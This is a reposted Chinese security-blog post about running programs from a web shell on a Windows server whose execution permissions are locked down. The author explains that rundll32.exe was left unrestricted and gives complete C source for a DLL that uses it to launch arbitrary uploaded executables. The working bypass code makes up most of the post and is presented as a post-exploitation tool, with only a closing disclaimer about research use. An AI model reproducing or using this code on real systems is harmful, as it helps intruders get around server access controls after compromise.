艰难的在webshell中执行程序 's

admin 2017年5月1日06:20:56评论371 views字数 1768阅读5分53秒阅读模式
摘要

作者:云舒摘要:一个web shell,系统权限设置得很好,常用的exe都无权执行。可写目录传上去的exe文件,也没有执行权限。最终发现设置权限的时候漏掉了rundll32.exe,如是就写了这个个代码。

作者:云舒

摘要:一个web shell,系统权限设置得很好,常用的exe都无权执行。可写目录传上去的exe文件,也没有执行权限。最终发现设置权限的时候漏掉了rundll32.exe,如是就写了这个个代码。

测试开始的时候,PHP似乎没权执行命令。本来打算用php本身的一些溢出问题,溢出一个低权限的shell来的。后来意外发现使用proc_open函 数可以执行一些内部命令,只是外部命令和目录都做了比较严格的权限设置而已。于是就测试可能可以利用的外部命令,最终测试到了rundll32.exe程 序,终于没有返回权限不足。写一个dll,给rundll32调用,就可以间接的执行自己上传的任意exe文件了。也许是windows权限的一点小问 题?毕竟使用rundll32间接执行的exe,身份还是php shell的guest权限,虽然调用者变了——真正原因有待进一步研究。

/************************************************************************************************* * 遇到一个服务器权限设置很畸形,系统exe基本都无法执行,自己上传的exe到可写目录,也不能执行。 * 遗憾的是,他们漏掉了rundll32.exe这个文件的权限,如是…… * code by wustyunshu###hotmail.com, 2008,11,13,23:20 *************************************************************************************************/  #include <stdio.h> #include <stdlib.h> #include <windows.h>  // dll入口 BOOL APIENTRY DllMain( HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { return true; }  void RunExe( HWND hwnd, HINSTANCE hinst, LPSTR szCmdLine, int nCmdShow) { if( szCmdLine == NULL ) { return; }  DWORD dwNum = MultiByteToWideChar(CP_ACP, 0, szCmdLine, -1, NULL, 0); wchar_t *wszCmdLine = new wchar_t[dwNum]; if(!wszCmdLine) { return; } MultiByteToWideChar(CP_ACP, 0, szCmdLine, -1, wszCmdLine, dwNum);  int argc; LPWSTR *argv = CommandLineToArgvW( wszCmdLine, &argc );  wchar_t Cmd[256] = { 0 }; wchar_t Args[1024] = { 0 };  //strncpy( Cmd, argv[0], sizeof(Cmd)-1 ); wcsncpy( Cmd, argv[0], sizeof(Cmd)-1 ); if( argc > 1 ) { for( int index = 1; index < argc; index ++ ) { wcscat( wcscat( Args, L" " ), argv[index] ); } }  STARTUPINFO si; memset( (void *)&si, 0, sizeof(STARTUPINFOA) ); GetStartupInfoW( &si );  //新进程输入输出重定向 si.cb = sizeof( si ); si.dwFlags = STARTF_USESHOWWINDOW; //si.wShowWindow = SW_HIDE;  PROCESS_INFORMATION processInfo; memset( (void *)&processInfo, 0, sizeof(PROCESS_INFORMATION) );  //建立进程 CreateProcessW( Cmd, Args, NULL, NULL, 1, 0, NULL, NULL, &si, &processInfo );  Sleep( 60 * 1000 ); TerminateProcess( processInfo.hProcess, 0 ); }

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2017年5月1日06:20:56
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   艰难的在webshell中执行程序 'shttps://cn-sec.com/archives/45795.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息